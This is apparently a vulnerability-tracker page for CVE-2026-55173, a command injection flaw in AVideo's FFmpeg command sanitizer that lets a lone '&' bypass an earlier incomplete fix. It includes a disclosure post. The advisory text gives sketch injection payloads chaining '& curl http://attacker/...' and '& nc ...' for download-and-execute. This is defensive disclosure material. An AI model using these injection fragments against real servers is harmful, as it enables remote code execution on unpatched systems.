CVE-2026-55173Disclosure

LOWCVSS 8.1 · HIGH

Signal is active with 1 mentions in latest observed window

Immediate actions

  • Patch affected systems immediately

Recommended action window: Monitor and triage in normal cycle

NVD description

WWBN AVideo is an open source video platform. Versions 29.0 and below remain vulnerable to OS command injection because the fix for CVE-2026-33482 was incomplete and still does not neutralize a single & ( the shell background operator). CVE-2026-33482 reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \n, \r to the denylist character class and a str_replace('&&', '', ...), but did not account for the single &. ffmpeg.json.php builds the command from _decryptString(getInput('codeToExecEncrypted')). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N). Multiple &-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the > strip, but command execution (e.g. & curl http://attacker/..., & nc ..., dropping/running a file) is not. This issue has been patched by this commit: https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f.

0.5/ 10 priority

Sources & remediation

Weakness type (CWE)
CWE-78

Priority

LOW

Exploitation

NONE

PoC

NONE

Patch

AVAILABLE

Momentum

NONE

Threat summary

  • Patch or workaround signal is available
  • 1 mentions across 1 observed day

What's happening

  • Patch or workaround mentioned in 1 signal
  • Technical details provided in 1 signal
  • Disclosure: 1 classified signal
  • 1 total mentions across 1 day

Deep dive

Activity timeline1 mentions / 1d
00111Mentions · 2026-06-27: 1Patch / Workaround · 2026-06-27: 1Technical Details · 2026-06-27: 106-27
Signal classification1 categories
Disclosure
1100.0%
Full discourse1 post
  • Animesh Roy (Meow/Meow) 🐈@AniR0y
    Disclosure

    🐈‍⬛ CVE-2026-55173 — AVideo, OS command injection (CVSS 8.1) The fix for the last RCE blocked &&. A lone & walks right through to the same sh -c sink — RCE again. Incomplete fix #2 in a row: $() → & Found by Seetha, my AI. GHSA-wc3f-xc32-435f

    Post summary

    A newly disclosed OS command injection vulnerability (CVE-2026-55173) in AVideo, rated CVSS 8.1, with incomplete fixes reported and warning of a remaining flaw.

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    672 followersView on X

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